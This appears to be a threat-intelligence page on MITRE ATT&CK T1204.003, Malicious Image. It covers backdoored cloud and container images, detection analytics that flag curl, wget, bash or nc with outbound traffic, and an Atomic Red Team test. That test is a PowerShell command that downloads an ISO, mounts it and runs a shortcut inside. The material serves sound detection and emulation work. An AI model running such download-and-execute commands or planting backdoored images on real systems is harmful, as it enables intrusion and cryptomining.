tfMITRE ATT&CK sub-technique

Malicious Image T1204.003

Tactic: Execution
Platforms: IaaS, Containers
Version: 1.2
Created: 30 March 2021
Last modified: 24 October 2025
Contributors: Center for Threat-Informed Defense (CTID); Vishwas Manral, McAfee

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malwareNone recorded

Tools & malwareNone recorded · 29% of ATT&CK techniques have none either.

Detection rules74th pct

Detection rules74th percentile · 74% of ATT&CK techniques have this many detection rules written or fewer.

Malicious Image MITRE reference T1204.003

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamTNTG0139 ↗

Has relied on users to download and execute malicious Docker images.1

created 2021-10-011 reference

All 1 groups for this technique

Offense vs defense T1204.003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 0Splunk ESCU (cumulative) · 10

first rule: 2021 Q3

Malicious Image detection strategy DET0248

MITRE names one behaviour worth catching for this technique and breaks it into 2 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

User Execution – Malicious Image (containers & IaaS) – pull/run → start → anomalous behavior (T1204.003)

Enterprise

2 platforms

AN0691 · Linux

CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download → Container Creation → Container Start → Command Execution/Network activity within a short window and with a consistent image digest.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Image CreationDC0015	containerd:events	Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before
Command ExecutionDC0064	auditd:SYSCALL	execve: Process in container namespace executes curl\|wget\|bash\|sh\|python\|nc with outbound args
Container CreationDC0072	kubernetes:audit	create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true
Container StartDC0077	kubernetes:events	start: ContainerStarted or Pulling image → Started container
Network Traffic ContentDC0085	NSM:Flow	New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ImageRegistryAllowList	Approved registries/namespaces (e.g., ECR/GCR/ACR org repos).
TimeWindow	Correlation window from image pull to container activity (e.g., ≤15m).
SuspiciousBinaries	Executables treated as high-risk when run in app containers (bash, sh, curl, wget, nc, powershell for Windows containers).
NamespaceScope	K8s namespaces that should never pull from Internet or run mutable tags.
OutboundCIDRBlockList	Destination networks/domains that should not be contacted by containers.

AN0692 · Windows

IAAS (Cloud images/VMs): A new VM/instance is launched from a non-approved or newly-seen image (AMI/GCP Image/Azure Image). On first boot, cloud-init/user-data or embedded agents download code, spawn system utilities, or open outbound C2/mining traffic. The analytic correlates Instance/Image Creation → Instance Start → in-guest Process/Command Execution and/or anomalous network traffic.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Instance CreationDC0076	azure:activity	Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown
Instance StartDC0080	AWS:CloudTrail	RunInstances
Network Traffic ContentDC0085	NSM:Flow	New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ApprovedImageCatalog	Set of golden images/owners and digest/IDs allowed to launch.
UserDataInspection	Whether to alert when userData/cloud-init contains exec or download directives.
FirstBootWindow	Time after start considered first-boot (e.g., ≤30m) for correlation.
VMTagScope	Restrict detection to prod or internet-facing subnets to reduce noise.

Tests1ExecutorsPowerShell 1Need elevation1 of 1Have prerequisites0Have cleanup1Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup	Ref
01	Malicious Execution from Mounted ISO Image	windows	PowerShell	Required	—	Yes
Adversaries may rely on a user running a malicious image to facilitate execution Attack command IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso") Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" $mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" \| Get-Volume).DriveLetter $finalpath = $mountedpath + ":\" cd $finalpath .\calc.exe.lnk Cleanup command start-sleep -s 5 stop-process -Name "Calculatorapp" -Force dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso" GUID984fec17-d1c3-40f6-b6e1-f75793d2c86a

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Malicious Execution from Mounted ISO Image

windows

PowerShell

Required

—

Yes

Tests from Atomic Red Team (MIT licence) · technique definition

Malicious Image detections T1204.003

10 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

74th pctamong all ATT&CK techniques for number of rules

Product

(none) 1

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs